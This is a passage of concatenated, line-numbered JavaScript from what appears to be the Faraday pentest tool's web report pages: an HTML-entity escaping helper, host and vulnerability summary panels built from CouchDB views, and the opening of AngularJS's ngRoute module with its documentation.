132 entities['231'] = '&ccedil;';
133 entities['232'] = '&egrave;';
134 entities['233'] = '&eacute;';
135 entities['234'] = '&ecirc;';
136 entities['235'] = '&euml;';
137 entities['236'] = '&igrave;';
138 entities['237'] = '&iacute;';
139 entities['238'] = '&icirc;';
140 entities['239'] = '&iuml;';
141 entities['240'] = '&eth;';
142 entities['241'] = '&ntilde;';
143 entities['242'] = '&ograve;';
144 entities['243'] = '&oacute;';
145 entities['244'] = '&ocirc;';
146 entities['245'] = '&otilde;';
147 entities['246'] = '&ouml;';
148 entities['247'] = '&divide;';
149 entities['248'] = '&oslash;';
150 entities['249'] = '&ugrave;';
151 entities['250'] = '&uacute;';
152 entities['251'] = '&ucirc;';
153 entities['252'] = '&uuml;';
154 entities['253'] = '&yacute;';
155 entities['254'] = '&thorn;';
156 entities['255'] = '&yuml;';
157 }
158
159 if (useQuoteStyle !== 'ENT_NOQUOTES') {
160 entities['34'] = '&quot;';
161 }
162 if (useQuoteStyle === 'ENT_QUOTES') {
163 entities['39'] = '&#39;';
164 }
165 entities['60'] = '&lt;';
166 entities['62'] = '&gt;';
167
168 // ascii decimals to real symbols
169 for (decimal in entities) {
170 if (entities.hasOwnProperty(decimal)) {
171 hash_map[String.fromCharCode(decimal)] = entities[decimal];
172 }
173 }
174
175 return hash_map;
176 }
177 function get_report_div(workspace, view, design){
178 function load_all_hosts() {
179 var iurl = "/" + workspace + "/_design/" + design + "/_view/byinterfacecount?group=true";
180 var hurl = "/" + workspace + "/_design/" + design + "/_view/hosts";
181 var surl = "/" + workspace + "/_design/" + design + "/_view/byservicecount?group=true";
182
183 var hosts = new Object();
184 var interfaces = new Object();
185 var services = new Object();
186
187 hosts = get_obj(hurl);
188 interfaces = get_obj(iurl, interfaces);
189 services = get_obj(surl, services);
190 if(jQuery.isEmptyObject(hosts)){
191 table = "<div class='col-lg-6'><article><section class=\"sin_padding\" id=\"hosts\">"+
192 "<header><h2>Hosts report "+
193 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\""+
194 "title=\"Shows current WS' executed commands\"></span>"+
195 "</h2></header>"+
196 "<div class=\"alert alert-info alert-dismissible\">"+
197 "<button type=\"button\" class=\"close\" data-dismiss=\"alert\">"+
198 "<span aria-hidden=\"true\">&times;</span>"+
199 "<span class=\"sr-only\">Close</span>"+
200 "</button>"+
201 "<p>No services found yet</p>"+
202 "</div>"+
203 "</div></section>";
204 }else{
205 var table = "<div class='col-lg-6'><article><section class='sin_padding' id='hosts'>"+
206 "<header><h2>Hosts report "+
207 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\" "+
208 "title=\"All hosts, each one showing its service count and operating system. "+
209 "By clicking on a host IP you can access a list with all of its services\"></span>"+
210 "</h2></header>";
211 table += "<table id=\"hosts-"+workspace+"\" class=\"tablesorter table table-striped\"><thead><tr>"+
212 "<th>Host</th>"+
213 "<th>Services</th>"+
214 "<th>OS</th>"+
215 "</tr></thead><tbody>";
216 $.each(hosts, function(k, v){
217 var hname = htmlentities(v.name);
218 if(!services.hasOwnProperty(k)) {
219 services[k] = 0;
220 } else {
221 hname = "<a href=\"host-"+k+"\" class=\"host\">"+hname+"</a>";
222 }
223 if(!interfaces.hasOwnProperty(k)) interfaces[k] = 0;
224 var icon = "";
225 if(v.os.toLowerCase().indexOf("windows") > -1) icon = "windows";
226 if(v.os.toLowerCase().indexOf("cisco") > -1) icon = "cisco";
227 if(v.os.toLowerCase().indexOf("router") > -1) icon = "router";
228 if(v.os.toLowerCase().indexOf("osx") > -1) icon = "osx";
229 if(v.os.toLowerCase().indexOf("linux") > -1
230 || v.os.toLowerCase().indexOf("unix") > -1) icon = "linux";
231 var os = "";
232 if(icon === "") {
233 os = "<span class=\"glyphicon glyphicon-question-sign faraday-qtips\" title="+v.os+"></span>";
234 } else {
235 os = "<img src=\"../././reports/images/"+icon+".png\" class=\"faraday-qtips\" title=\""+v.os+"\"/>";
236 }
237 table += "<tr id=\"host-"+k+"\">"+
238 "<td>"+hname+"</td>"+
239 "<td>"+services[k]+"</td>"+
240 "<td>"+os+"</td></tr>";
241 });
242 table += "</tbody></table></article></section></div>";
243 }
244 return table;
245 }
246
247 function get_obj_filter(ws, design, view, key) {
248 var db = new CouchDB(ws);
249 var sview = design + "/" + view;
250 if(typeof key === 'undefined') {
251 var matches = db.view(sview);
252 } else if($.isArray(key)) {
253 var matches = db.view(sview, {keys: JSON.stringify(key)});
254 } else {
255 var matches = db.view(sview, {key: key});
256 }
257 return matches.rows;
258 }
259
260 function get_obj(ourl) {
261 var ls = {};
262 $.ajax({
263 dataType: "json",
264 url: ourl,
265 async: false,
266 success: function(data) {
267 $.each(data.rows, function(n, obj){
268 ls[obj.key] = obj.value;
269 });
270 }
271 });
272 return ls;
273 }
274
275 var hosts = load_all_hosts();
276 return hosts;
277 }
278 </script>
0 <script type="text/javascript">
1 function htmlentities(string, quote_style, charset, double_encode) {
2 var hash_map = translationtable('HTML_ENTITIES', quote_style), symbol = '';
3 string = string == null ? '' : string + '';
4
5 if (!hash_map) {
6 return false;
7 }
8
9 if (quote_style && quote_style === 'ENT_QUOTES') {
10 hash_map["'"] = '&#039;';
11 }
12
13 if ( !! double_encode || double_encode == null) {
14 for (symbol in hash_map) {
15 if (hash_map.hasOwnProperty(symbol)) {
16 string = string.split(symbol)
17 .join(hash_map[symbol]);
18 }
19 }
20 } else {
21 string = string.replace(/([\s\S]*?)(&(?:#\d+|#x[\da-f]+|[a-zA-Z][\da-z]*);|$)/g, function (ignore, text, entity) {
22 for (symbol in hash_map) {
23 if (hash_map.hasOwnProperty(symbol)) {
24 text = text.split(symbol)
25 .join(hash_map[symbol]);
26 }
27 }
28 return text + entity;
29 });
30 }
31 return string;
32 };
33
34 function translationtable(table, quote_style) {
35 var entities = {},
36 hash_map = {},
37 decimal;
38 var constMappingTable = {},
39 constMappingQuoteStyle = {};
40 var useTable = {},
41 useQuoteStyle = {};
42
43 // Translate arguments
44 constMappingTable[0] = 'HTML_SPECIALCHARS';
45 constMappingTable[1] = 'HTML_ENTITIES';
46 constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
47 constMappingQuoteStyle[2] = 'ENT_COMPAT';
48 constMappingQuoteStyle[3] = 'ENT_QUOTES';
49
50 useTable = !isNaN(table) ? constMappingTable[table] : table ? table.toUpperCase() : 'HTML_SPECIALCHARS';
51 useQuoteStyle = !isNaN(quote_style) ? constMappingQuoteStyle[quote_style] : quote_style ? quote_style.toUpperCase() :
52 'ENT_COMPAT';
53
54 if (useTable !== 'HTML_SPECIALCHARS' && useTable !== 'HTML_ENTITIES') {
55 throw new Error('Table: ' + useTable + ' not supported');
56 }
57
58 entities['38'] = '&amp;';
59 if (useTable === 'HTML_ENTITIES') {
60 entities['160'] = '&nbsp;';
61 entities['161'] = '&iexcl;';
62 entities['162'] = '&cent;';
63 entities['163'] = '&pound;';
64 entities['164'] = '&curren;';
65 entities['165'] = '&yen;';
66 entities['166'] = '&brvbar;';
67 entities['167'] = '&sect;';
68 entities['168'] = '&uml;';
69 entities['169'] = '&copy;';
70 entities['170'] = '&ordf;';
71 entities['171'] = '&laquo;';
72 entities['172'] = '&not;';
73 entities['173'] = '&shy;';
74 entities['174'] = '&reg;';
75 entities['175'] = '&macr;';
76 entities['176'] = '&deg;';
77 entities['177'] = '&plusmn;';
78 entities['178'] = '&sup2;';
79 entities['179'] = '&sup3;';
80 entities['180'] = '&acute;';
81 entities['181'] = '&micro;';
82 entities['182'] = '&para;';
83 entities['183'] = '&middot;';
84 entities['184'] = '&cedil;';
85 entities['185'] = '&sup1;';
86 entities['186'] = '&ordm;';
87 entities['187'] = '&raquo;';
88 entities['188'] = '&frac14;';
89 entities['189'] = '&frac12;';
90 entities['190'] = '&frac34;';
91 entities['191'] = '&iquest;';
92 entities['192'] = '&Agrave;';
93 entities['193'] = '&Aacute;';
94 entities['194'] = '&Acirc;';
95 entities['195'] = '&Atilde;';
96 entities['196'] = '&Auml;';
97 entities['197'] = '&Aring;';
98 entities['198'] = '&AElig;';
99 entities['199'] = '&Ccedil;';
100 entities['200'] = '&Egrave;';
101 entities['201'] = '&Eacute;';
102 entities['202'] = '&Ecirc;';
103 entities['203'] = '&Euml;';
104 entities['204'] = '&Igrave;';
105 entities['205'] = '&Iacute;';
106 entities['206'] = '&Icirc;';
107 entities['207'] = '&Iuml;';
108 entities['208'] = '&ETH;';
109 entities['209'] = '&Ntilde;';
110 entities['210'] = '&Ograve;';
111 entities['211'] = '&Oacute;';
112 entities['212'] = '&Ocirc;';
113 entities['213'] = '&Otilde;';
114 entities['214'] = '&Ouml;';
115 entities['215'] = '&times;';
116 entities['216'] = '&Oslash;';
117 entities['217'] = '&Ugrave;';
118 entities['218'] = '&Uacute;';
119 entities['219'] = '&Ucirc;';
120 entities['220'] = '&Uuml;';
121 entities['221'] = '&Yacute;';
122 entities['222'] = '&THORN;';
123 entities['223'] = '&szlig;';
124 entities['224'] = '&agrave;';
125 entities['225'] = '&aacute;';
126 entities['226'] = '&acirc;';
127 entities['227'] = '&atilde;';
128 entities['228'] = '&auml;';
129 entities['229'] = '&aring;';
130 entities['230'] = '&aelig;';
131 entities['231'] = '&ccedil;';
132 entities['232'] = '&egrave;';
133 entities['233'] = '&eacute;';
134 entities['234'] = '&ecirc;';
135 entities['235'] = '&euml;';
136 entities['236'] = '&igrave;';
137 entities['237'] = '&iacute;';
138 entities['238'] = '&icirc;';
139 entities['239'] = '&iuml;';
140 entities['240'] = '&eth;';
141 entities['241'] = '&ntilde;';
142 entities['242'] = '&ograve;';
143 entities['243'] = '&oacute;';
144 entities['244'] = '&ocirc;';
145 entities['245'] = '&otilde;';
146 entities['246'] = '&ouml;';
147 entities['247'] = '&divide;';
148 entities['248'] = '&oslash;';
149 entities['249'] = '&ugrave;';
150 entities['250'] = '&uacute;';
151 entities['251'] = '&ucirc;';
152 entities['252'] = '&uuml;';
153 entities['253'] = '&yacute;';
154 entities['254'] = '&thorn;';
155 entities['255'] = '&yuml;';
156 }
157
158 if (useQuoteStyle !== 'ENT_NOQUOTES') {
159 entities['34'] = '&quot;';
160 }
161 if (useQuoteStyle === 'ENT_QUOTES') {
162 entities['39'] = '&#39;';
163 }
164 entities['60'] = '&lt;';
165 entities['62'] = '&gt;';
166
167 // ascii decimals to real symbols
168 for (decimal in entities) {
169 if (entities.hasOwnProperty(decimal)) {
170 hash_map[String.fromCharCode(decimal)] = entities[decimal];
171 }
172 }
173
174 return hash_map;
175 }
176 function get_report_div(workspace, view,design){
177 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view+"?group=true";
178 var divs = "";
179 $.ajaxSetup({
180 async: false
181 });
182 $.getJSON(json_url, function(data) {
183 var colores = ["rojo", "negro"];
184 var i = 0;
185 var k = "";
186 var v = "";
187
188 divs += "<div class=\"col-lg-3\"><article class=\"panel panel-default\"><header><h2>Workspace summarized report "+
189 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\" title=\"WS overview - hosts, notes, services and vulnerabilites counts\"></span>"+
190 "</h2></header><div class=\"main\"><div class=\"box\">";
191 if(jQuery.isEmptyObject(data.rows) || data.rows[0].key == "interfaces") {
192 divs += "<div class=\"alert alert-info alert-dismissible\">"+
193 "<button type=\"button\" class=\"close\" data-dismiss=\"alert\">"+
194 "<span aria-hidden=\"true\">&times;</span>"+
195 "<span class=\"sr-only\">Close</span>"+
196 "</button>"+
197 "<p>Not enough data to generate summarized report yet</p>"+
198 "</div>";
199 }
200 $.each(data.rows, function(n, obj){
201 if (obj.key != "interfaces") {
202 k = htmlentities(obj.key);
203 divs += "<div class=\"columna unquinto\"><article class=\"dato2 fondo-"+colores[i%2]+"\"><section>"+
204 "<div class=\"nro texto-"+colores[(i+1)%2]+"\">"+obj.value+"</div>"+
205 "<div class=\"txt texto-blanco\">"+k+"</div></section></article></div>";
206 i++;
207 }
208 });
209 divs +="</article></div></div>";
210 return divs;
211 });
212 return divs;
213 }
214 </script>
215 </body>
216 </html>
0 <script type="text/javascript">
1 function get_report_div(workspace, view,design){
2 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view+"?group=true";
3 var divs = "";
4 $.ajaxSetup({
5 async: false
6 });
7 $.getJSON(json_url, function(data) {
8 var vulns = {"critical": 0, "high": 0, "med": 0, "low": 0, "info": 0};
9 divs += "<div class=\"col-lg-6\"><article class=\"panel panel-default\"><header>"+
10 "<h2><a href=\"#\" class=\"status-report\">Vulnerabilities</a> "+
11 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\" title=\"Vulnerabilities count arranged by severity\"></span></h2>"+
12 "</header><div class=\"main box\">";
13 $.each(data.rows, function(n, obj){
14 vulns[obj.key] = obj.value;
15 });
16 $.each(vulns, function(k, v) {
17 v = htmlentities(v);
18 divs += "<div class=\"columna unsexto\"><article class=\"dato2 fondo-"+k+"\">"+
19 "<section><div class=\"nro texto-blanco\">"+v+"</div>"+
20 "<div class=\"txt texto-blanco\">"+k+"</div></section></article></div>";
21 });
22 divs +="</div></article></div>";
23 return divs;
24 });
25 return divs;
26 }
27 function htmlentities(string, quote_style, charset, double_encode) {
28 var hash_map = translationtable('HTML_ENTITIES', quote_style), symbol = '';
29 string = string == null ? '' : string + '';
30
31 if (!hash_map) {
32 return false;
33 }
34
35 if (quote_style && quote_style === 'ENT_QUOTES') {
36 hash_map["'"] = '&#039;';
37 }
38
39 if ( !! double_encode || double_encode == null) {
40 for (symbol in hash_map) {
41 if (hash_map.hasOwnProperty(symbol)) {
42 string = string.split(symbol)
43 .join(hash_map[symbol]);
44 }
45 }
46 } else {
47 string = string.replace(/([\s\S]*?)(&(?:#\d+|#x[\da-f]+|[a-zA-Z][\da-z]*);|$)/g, function (ignore, text, entity) {
48 for (symbol in hash_map) {
49 if (hash_map.hasOwnProperty(symbol)) {
50 text = text.split(symbol)
51 .join(hash_map[symbol]);
52 }
53 }
54 return text + entity;
55 });
56 }
57 return string;
58 };
59
60 function translationtable(table, quote_style) {
61 var entities = {},
62 hash_map = {},
63 decimal;
64 var constMappingTable = {},
65 constMappingQuoteStyle = {};
66 var useTable = {},
67 useQuoteStyle = {};
68
69 // Translate arguments
70 constMappingTable[0] = 'HTML_SPECIALCHARS';
71 constMappingTable[1] = 'HTML_ENTITIES';
72 constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
73 constMappingQuoteStyle[2] = 'ENT_COMPAT';
74 constMappingQuoteStyle[3] = 'ENT_QUOTES';
75
76 useTable = !isNaN(table) ? constMappingTable[table] : table ? table.toUpperCase() : 'HTML_SPECIALCHARS';
77 useQuoteStyle = !isNaN(quote_style) ? constMappingQuoteStyle[quote_style] : quote_style ? quote_style.toUpperCase() :
78 'ENT_COMPAT';
79
80 if (useTable !== 'HTML_SPECIALCHARS' && useTable !== 'HTML_ENTITIES') {
81 throw new Error('Table: ' + useTable + ' not supported');
82 }
83
84 entities['38'] = '&amp;';
85 if (useTable === 'HTML_ENTITIES') {
86 entities['160'] = '&nbsp;';
87 entities['161'] = '&iexcl;';
88 entities['162'] = '&cent;';
89 entities['163'] = '&pound;';
90 entities['164'] = '&curren;';
91 entities['165'] = '&yen;';
92 entities['166'] = '&brvbar;';
93 entities['167'] = '&sect;';
94 entities['168'] = '&uml;';
95 entities['169'] = '&copy;';
96 entities['170'] = '&ordf;';
97 entities['171'] = '&laquo;';
98 entities['172'] = '&not;';
99 entities['173'] = '&shy;';
100 entities['174'] = '&reg;';
101 entities['175'] = '&macr;';
102 entities['176'] = '&deg;';
103 entities['177'] = '&plusmn;';
104 entities['178'] = '&sup2;';
105 entities['179'] = '&sup3;';
106 entities['180'] = '&acute;';
107 entities['181'] = '&micro;';
108 entities['182'] = '&para;';
109 entities['183'] = '&middot;';
110 entities['184'] = '&cedil;';
111 entities['185'] = '&sup1;';
112 entities['186'] = '&ordm;';
113 entities['187'] = '&raquo;';
114 entities['188'] = '&frac14;';
115 entities['189'] = '&frac12;';
116 entities['190'] = '&frac34;';
117 entities['191'] = '&iquest;';
118 entities['192'] = '&Agrave;';
119 entities['193'] = '&Aacute;';
120 entities['194'] = '&Acirc;';
121 entities['195'] = '&Atilde;';
122 entities['196'] = '&Auml;';
123 entities['197'] = '&Aring;';
124 entities['198'] = '&AElig;';
125 entities['199'] = '&Ccedil;';
126 entities['200'] = '&Egrave;';
127 entities['201'] = '&Eacute;';
128 entities['202'] = '&Ecirc;';
129 entities['203'] = '&Euml;';
130 entities['204'] = '&Igrave;';
131 entities['205'] = '&Iacute;';
132 entities['206'] = '&Icirc;';
133 entities['207'] = '&Iuml;';
134 entities['208'] = '&ETH;';
135 entities['209'] = '&Ntilde;';
136 entities['210'] = '&Ograve;';
137 entities['211'] = '&Oacute;';
138 entities['212'] = '&Ocirc;';
139 entities['213'] = '&Otilde;';
140 entities['214'] = '&Ouml;';
141 entities['215'] = '&times;';
142 entities['216'] = '&Oslash;';
143 entities['217'] = '&Ugrave;';
144 entities['218'] = '&Uacute;';
145 entities['219'] = '&Ucirc;';
146 entities['220'] = '&Uuml;';
147 entities['221'] = '&Yacute;';
148 entities['222'] = '&THORN;';
149 entities['223'] = '&szlig;';
150 entities['224'] = '&agrave;';
151 entities['225'] = '&aacute;';
152 entities['226'] = '&acirc;';
153 entities['227'] = '&atilde;';
154 entities['228'] = '&auml;';
155 entities['229'] = '&aring;';
156 entities['230'] = '&aelig;';
157 entities['231'] = '&ccedil;';
158 entities['232'] = '&egrave;';
159 entities['233'] = '&eacute;';
160 entities['234'] = '&ecirc;';
161 entities['235'] = '&euml;';
162 entities['236'] = '&igrave;';
163 entities['237'] = '&iacute;';
164 entities['238'] = '&icirc;';
165 entities['239'] = '&iuml;';
166 entities['240'] = '&eth;';
167 entities['241'] = '&ntilde;';
168 entities['242'] = '&ograve;';
169 entities['243'] = '&oacute;';
170 entities['244'] = '&ocirc;';
171 entities['245'] = '&otilde;';
172 entities['246'] = '&ouml;';
173 entities['247'] = '&divide;';
174 entities['248'] = '&oslash;';
175 entities['249'] = '&ugrave;';
176 entities['250'] = '&uacute;';
177 entities['251'] = '&ucirc;';
178 entities['252'] = '&uuml;';
179 entities['253'] = '&yacute;';
180 entities['254'] = '&thorn;';
181 entities['255'] = '&yuml;';
182 }
183
184 if (useQuoteStyle !== 'ENT_NOQUOTES') {
185 entities['34'] = '&quot;';
186 }
187 if (useQuoteStyle === 'ENT_QUOTES') {
188 entities['39'] = '&#39;';
189 }
190 entities['60'] = '&lt;';
191 entities['62'] = '&gt;';
192
193 // ascii decimals to real symbols
194 for (decimal in entities) {
195 if (entities.hasOwnProperty(decimal)) {
196 hash_map[String.fromCharCode(decimal)] = entities[decimal];
197 }
198 }
199
200 return hash_map;
201 }
202 </script>
0 /**
1 * @license AngularJS v1.2.23
2 * (c) 2010-2014 Google, Inc. http://angularjs.org
3 * License: MIT
4 */
5 (function(window, angular, undefined) {'use strict';
6
7 /**
8 * @ngdoc module
9 * @name ngRoute
10 * @description
11 *
12 * # ngRoute
13 *
14 * The `ngRoute` module provides routing and deeplinking services and directives for angular apps.
15 *
16 * ## Example
17 * See {@link ngRoute.$route#example $route} for an example of configuring and using `ngRoute`.
18 *
19 *
20 * <div doc-module-components="ngRoute"></div>
21 */
22 /* global -ngRouteModule */
23 var ngRouteModule = angular.module('ngRoute', ['ng']).
24 provider('$route', $RouteProvider);
25
26 /**
27 * @ngdoc provider
28 * @name $routeProvider
29 * @kind function
30 *
31 * @description
32 *
33 * Used for configuring routes.
34 *
35 * ## Example
36 * See {@link ngRoute.$route#example $route} for an example of configuring and using `ngRoute`.
37 *
38 * ## Dependencies
39 * Requires the {@link ngRoute `ngRoute`} module to be installed.
40 */
41 function $RouteProvider(){
42 function inherit(parent, extra) {
43 return angular.extend(new (angular.extend(function() {}, {prototype:parent}))(), extra);
44 }
45
46 var routes = {};
47
48 /**
49 * @ngdoc method
50 * @name $routeProvider#when
51 *
52 * @param {string} path Route path (matched against `$location.path`). If `$location.path`
53 * contains redundant trailing slash or is missing one, the route will still match and the
54 * `$location.path` will be updated to add or drop the trailing slash to exactly match the
55 * route definition.
56 *
57 * * `path` can contain named groups starting with a colon: e.g. `:name`. All characters up
58 * to the next slash are matched and stored in `$routeParams` under the given `name`
59 * when the route matches.
60 * * `path` can contain named groups starting with a colon and ending with a star:
61 * e.g.`:name*`. All characters are eagerly stored in `$routeParams` under the given `name`
62 * when the route matches.
63 * * `path` can contain optional named groups with a question mark: e.g.`:name?`.
64 *
65 * For example, routes like `/color/:color/largecode/:largecode*\/edit` will match
66 * `/color/brown/largecode/code/with/slashes/edit` and extract:
67 *
68 * * `color: brown`
69 * * `largecode: code/with/slashes`.
70 *
71 *
72 * @param {Object} route Mapping information to be assigned to `$route.current` on route
73 * match.
74 *
75 * Object properties:
76 *
77 * - `controller` – `{(string|function()=}` – Controller fn that should be associated with
78 * newly created scope or the name of a {@link angular.Module#controller registered
79 * controller} if passed as a string.
80 * - `controllerAs` – `{string=}` – A controller alias name. If present the controller will be
81 * published to scope under the `controllerAs` name.
82 * - `template` – `{string=|function()=}` – html template as a string or a function that
83 * returns an html template as a string which should be used by {@link
84 * ngRoute.directive:ngView ngView} or {@link ng.directive:ngInclude ngInclude} directives.
85 * This property takes precedence over `templateUrl`.
86 *
87 * If `template` is a function, it will be called with the following parameters:
88 *
89 * - `{Array.<Object>}` - route parameters extracted from the current
90 * `$location.path()` by applying the current route
91 *
92 * - `templateUrl` – `{string=|function()=}` – path or function that returns a path to an html
93 * template that should be used by {@link ngRoute.directive:ngView ngView}.
94 *
95 * If `templateUrl` is a function, it will be called with the following parameters:
96 *
97 * - `{Array.<Object>}` - route parameters extracted from the current
98 * `$location.path()` by applying the current route
99 *
100 * - `resolve` - `{Object.<string, function>=}` - An optional map of dependencies which should
101 * be injected into the controller. If any of these dependencies are promises, the router
102 * will wait for them all to be resolved or one to be rejected before the controller is
103 * instantiated.
104 * If all the promises are resolved successfully, the values of the resolved promises are
105 * injected and {@link ngRoute.$route#$routeChangeSuccess $routeChangeSuccess} event is
106 * fired. If any of the promises are rejected the
107 * {@link ngRoute.$route#$routeChangeError $routeChangeError} event is fired. The map object
108 * is:
109 *
110 * - `key` – `{string}`: a name of a dependency to be injected into the controller.
111 * - `factory` - `{string|function}`: If `string` then it is an alias for a service.
112 * Otherwise if function, then it is {@link auto.$injector#invoke injected}
113 * and the return value is treated as the dependency. If the result is a promise, it is
114 * resolved before its value is injected into the controller. Be aware that
115 * `ngRoute.$routeParams` will still refer to the previous route within these resolve
116 * functions. Use `$route.current.params` to access the new route parameters, instead.
117 *
118 * - `redirectTo` – {(string|function())=} – value to update
119 * {@link ng.$location $location} path with and trigger route redirection.
120 *
121 * If `redirectTo` is a function, it will be called with the following parameters:
122 *
123 * - `{Object.<string>}` - route parameters extracted from the current
124 * `$location.path()` by applying the current route templateUrl.
125 * - `{string}` - current `$location.path()`
126 * - `{Object}` - current `$location.search()`
127 *
128 * The custom `redirectTo` function is expected to return a string which will be used
129 * to update `$location.path()` and `$location.search()`.
130 *
131 * - `[reloadOnSearch=true]` - {boolean=} - reload route when only `$location.search()`
132 * or `$location.hash()` changes.
133 *
134 * If the option is set to `false` and url in the browser changes, then
135 * `$routeUpdate` event is broadcasted on the root scope.
136 *
137 * - `[caseInsensitiveMatch=false]` - {boolean=} - match routes without being case sensitive
138 *
139 * If the option is set to `true`, then the particular route can be matched without being
140 * case sensitive
141 *
142 * @returns {Object} self
143 *
144 * @description
145 * Adds a new route definition to the `$route` service.
146 */
147 this.when = function(path, route) {
148 routes[path] = angular.extend(
149 {reloadOnSearch: true},
150 route,
151 path && pathRegExp(path, route)
152 );
153
154 // create redirection for trailing slashes
155 if (path) {
156 var redirectPath = (path[path.length-1] == '/')
157 ? path.substr(0, path.length-1)
158 : path +'/';
159
160 routes[redirectPath] = angular.extend(
161 {redirectTo: path},
162 pathRegExp(redirectPath, route)
163 );
164 }
165
166 return this;
167 };
168
169 /**
170 * @param path {string} path
171 * @param opts {Object} options
172 * @return {?Object}
173 *
174 * @description
175 * Normalizes the given path, returning a regular expression
176 * and the original path.
177 *
178 * Inspired by pathRexp in visionmedia/express/lib/utils.js.
179 */
180 function pathRegExp(path, opts) {
181 var insensitive = opts.caseInsensitiveMatch,
182 ret = {
183 originalPath: path,
184 regexp: path
185 },
186 keys = ret.keys = [];
187
188 path = path
189 .replace(/([().])/g, '\\$1')
190 .replace(/(\/)?:(\w+)([\?\*])?/g, function(_, slash, key, option){
191 var optional = option === '?' ? option : null;
192 var star = option === '*' ? option : null;
193 keys.push({ name: key, optional: !!optional });
194 slash = slash || '';
195 return ''
196 + (optional ? '' : slash)
197 + '(?:'
198 + (optional ? slash : '')
199 + (star && '(.+?)' || '([^/]+)')
200 + (optional || '')
201 + ')'
202 + (optional || '');
203 })
204 .replace(/([\/$\*])/g, '\\$1');
205
206 ret.regexp = new RegExp('^' + path + '$', insensitive ? 'i' : '');
207 return ret;
208 }
209
210 /**
211 * @ngdoc method
212 * @name $routeProvider#otherwise
213 *
214 * @description
215 * Sets route definition that will be used on route change when no other route definition
216 * is matched.
217 *
218 * @param {Object} params Mapping information to be assigned to `$route.current`.
219 * @returns {Object} self
220 */
221 this.otherwise = function(params) {
222 this.when(null, params);
223 return this;
224 };
225
226
227 this.$get = ['$rootScope',
228 '$location',
229 '$routeParams',
230 '$q',
231 '$injector',
232 '$http',
233 '$templateCache',
234 '$sce',
235 function($rootScope, $location, $routeParams, $q, $injector, $http, $templateCache, $sce) {
236
237 /**
238 * @ngdoc service
239 * @name $route
240 * @requires $location
241 * @requires $routeParams
242 *
243 * @property {Object} current Reference to the current route definition.
244 * The route definition contains:
245 *
246 * - `controller`: The controller constructor as define in route definition.
247 * - `locals`: A map of locals which is used by {@link ng.$controller $controller} service for
248 * controller instantiation. The `locals` contain
249 * the resolved values of the `resolve` map. Additionally the `locals` also contain:
250 *
251 * - `$scope` - The current route scope.
252 * - `$template` - The current route template HTML.
253 *
254 * @property {Object} routes Object with all route configuration Objects as its properties.
255 *
256 * @description
257 * `$route` is used for deep-linking URLs to controllers and views (HTML partials).
258 * It watches `$location.url()` and tries to map the path to an existing route definition.
259 *
260 * Requires the {@link ngRoute `ngRoute`} module to be installed.
261 *
262 * You can define routes through {@link ngRoute.$routeProvider $routeProvider}'s API.
263 *
264 * The `$route` service is typically used in conjunction with the
265 * {@link ngRoute.directive:ngView `ngView`} directive and the
266 * {@link ngRoute.$routeParams `$routeParams`} service.
267 *
268 * @example
269 * This example shows how changing the URL hash causes the `$route` to match a route against the
270 * URL, and the `ngView` pulls in the partial.
271 *
272 * Note that this example is using {@link ng.directive:script inlined templates}
273 * to get it working on jsfiddle as well.
274 *
275 * <example name="$route-service" module="ngRouteExample"
276 * deps="angular-route.js" fixBase="true">
277 * <file name="index.html">
278 * <div ng-controller="MainController">
279 * Choose:
280 * <a href="Book/Moby">Moby</a> |
281 * <a href="Book/Moby/ch/1">Moby: Ch1</a> |
282 * <a href="Book/Gatsby">Gatsby</a> |
283 * <a href="Book/Gatsby/ch/4?key=value">Gatsby: Ch4</a> |
284 * <a href="Book/Scarlet">Scarlet Letter</a><br/>
285 *
286 * <div ng-view></div>
287 *
288 * <hr />
289 *
290 * <pre>$location.path() = {{$location.path()}}</pre>
291 * <pre>$route.current.templateUrl = {{$route.current.templateUrl}}</pre>
292 * <pre>$route.current.params = {{$route.current.params}}</pre>
293 * <pre>$route.current.scope.name = {{$route.current.scope.name}}</pre>
294 * <pre>$routeParams = {{$routeParams}}</pre>
295 * </div>
296 * </file>
297 *
298 * <file name="book.html">
299 * controller: {{name}}<br />
300 * Book Id: {{params.bookId}}<br />
301 * </file>
302 *
303 * <file name="chapter.html">
304 * controller: {{name}}<br />
305 * Book Id: {{params.bookId}}<br />
306 * Chapter Id: {{params.chapterId}}
307 * </file>
308 *
309 * <file name="script.js">
310 * angular.module('ngRouteExample', ['ngRoute'])
311 *
312 * .controller('MainController', function($scope, $route, $routeParams, $location) {
313 * $scope.$route = $route;
314 * $scope.$location = $location;
315 * $scope.$routeParams = $routeParams;
316 * })
317 *
318 * .controller('BookController', function($scope, $routeParams) {
319 * $scope.name = "BookController";
320 * $scope.params = $routeParams;
321 * })
322 *
323 * .controller('ChapterController', function($scope, $routeParams) {
324 * $scope.name = "ChapterController";
325 * $scope.params = $routeParams;
326 * })
327 *
328 * .config(function($routeProvider, $locationProvider) {
329 * $routeProvider
330 * .when('/Book/:bookId', {
331 * templateUrl: 'book.html',
332 * controller: 'BookController',
333 * resolve: {
334 * // I will cause a 1 second delay
335 * delay: function($q, $timeout) {
336 * var delay = $q.defer();
337 * $timeout(delay.resolve, 1000);
338 * return delay.promise;
339 * }
340 * }
341 * })
342 * .when('/Book/:bookId/ch/:chapterId', {
343 * templateUrl: 'chapter.html',
344 * controller: 'ChapterController'
345 * });
346 *
347 * // configure html5 to get links working on jsfiddle
348 * $locationProvider.html5Mode(true);
349 * });
350 *
351 * </file>
352 *
353 * <file name="protractor.js" type="protractor">
354 * it('should load and compile correct template', function() {
355 * element(by.linkText('Moby: Ch1')).click();
356 * var content = element(by.css('[ng-view]')).getText();
357 * expect(content).toMatch(/controller\: ChapterController/);
358 * expect(content).toMatch(/Book Id\: Moby/);
359 * expect(content).toMatch(/Chapter Id\: 1/);
360 *
361 * element(by.partialLinkText('Scarlet')).click();
362 *
363 * content = element(by.css('[ng-view]')).getText();
364 * expect(content).toMatch(/controller\: BookController/);
365 * expect(content).toMatch(/Book Id\: Scarlet/);
366 * });
367 * </file>
368 * </example>
369 */
370
371 /**
372 * @ngdoc event
373 * @name $route#$routeChangeStart
374 * @eventType broadcast on root scope
375 * @description
376 * Broadcasted before a route change. At this point the route services starts
